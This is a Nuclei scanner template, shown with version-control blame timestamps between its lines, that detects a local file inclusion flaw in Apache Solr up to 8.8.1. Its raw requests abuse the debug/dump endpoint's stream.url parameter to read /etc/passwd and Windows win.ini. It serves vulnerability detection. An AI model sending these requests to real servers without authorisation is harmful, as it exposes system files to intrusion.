2021-04-23 15:49:45 +05:30
|
|
|
id: apache-solr-file-read
|
2021-04-23 15:48:04 +05:30
|
|
|
|
|
|
|
|
info:
|
2023-01-16 12:41:15 -05:00
|
|
|
name: Apache Solr <=8.8.1 - Local File Inclusion
|
2022-12-02 09:13:23 +05:30
|
|
|
author: DhiyaneshDk,philippedelteil
|
2021-04-23 15:48:04 +05:30
|
|
|
severity: high
|
2022-07-26 09:45:11 -04:00
|
|
|
description: Apache Solr versions prior to and including 8.8.1 are vulnerable to local file inclusion.
|
2021-08-18 14:37:49 +03:00
|
|
|
reference:
|
2021-08-19 17:44:46 +03:00
|
|
|
- https://twitter.com/Al1ex4/status/1382981479727128580
|
|
|
|
|
- https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
|
|
|
|
|
- https://twitter.com/sec715/status/1373472323538362371
|
2022-07-26 09:45:11 -04:00
|
|
|
classification:
|
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
|
cvss-score: 7.5
|
|
|
|
|
cwe-id: CWE-22
|
2023-04-28 13:41:21 +05:30
|
|
|
metadata:
|
|
|
|
|
max-request: 3
|
2023-10-14 16:57:55 +05:30
|
|
|
tags: apache,solr,lfi
|
2021-04-23 15:48:04 +05:30
|
|
|
|
2023-04-27 09:58:59 +05:30
|
|
|
http:
|
2021-04-23 15:48:04 +05:30
|
|
|
- raw:
|
|
|
|
|
- |
|
|
|
|
|
GET /solr/admin/cores?wt=json HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
Accept-Language: en
|
|
|
|
|
Connection: close
|
2022-12-01 18:51:21 -05:00
|
|
|
- |
|
2022-12-02 09:31:15 +05:30
|
|
|
GET /solr/{{core}}/debug/dump?stream.url=file:///../../../../../Windows/win.ini¶m=ContentStream HTTP/1.1
|
2022-12-01 18:51:21 -05:00
|
|
|
Host: {{Hostname}}
|
|
|
|
|
Accept-Language: en
|
|
|
|
|
Connection: close
|
2021-04-23 15:48:04 +05:30
|
|
|
- |
|
|
|
|
|
GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd¶m=ContentStream HTTP/1.1
|
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
Accept-Language: en
|
|
|
|
|
Connection: close
|
|
|
|
|
|
2022-12-02 09:31:15 +05:30
|
|
|
stop-at-first-match: true
|
2023-10-14 16:57:55 +05:30
|
|
|
|
2022-12-08 14:42:36 +05:30
|
|
|
matchers-condition: or
|
2021-04-23 15:48:04 +05:30
|
|
|
matchers:
|
2022-12-01 18:51:21 -05:00
|
|
|
- type: word
|
2022-12-02 09:31:15 +05:30
|
|
|
part: body
|
2022-12-01 18:51:21 -05:00
|
|
|
words:
|
2022-12-02 09:31:15 +05:30
|
|
|
- "bit app support"
|
|
|
|
|
- "fonts"
|
|
|
|
|
- "extensions"
|
2022-12-01 18:51:21 -05:00
|
|
|
condition: and
|
2022-12-02 09:12:05 +05:30
|
|
|
|
2021-08-09 21:58:28 +05:30
|
|
|
- type: regex
|
|
|
|
|
regex:
|
2022-07-26 09:45:11 -04:00
|
|
|
- "root:.*:0:0:"
|
2022-12-08 14:42:36 +05:30
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
|
- type: regex
|
|
|
|
|
name: core
|
|
|
|
|
group: 1
|
|
|
|
|
regex:
|
|
|
|
|
- '"name"\:"(.*?)"'
|
|
|
|
|
internal: true
|
2024-12-01 13:57:55 +00:00
|
|
|
# digest: 4b0a004830460221008b606ea44d36f3d3bf6e5ec47629ddbb67c627e520fec806208066d4c0d2632a022100e1e47909c874d33a3929c526ea4b4b592e796b3a58079132fc9e76dfda7b1724:922c64590222798bb761d5b6d8e72950
|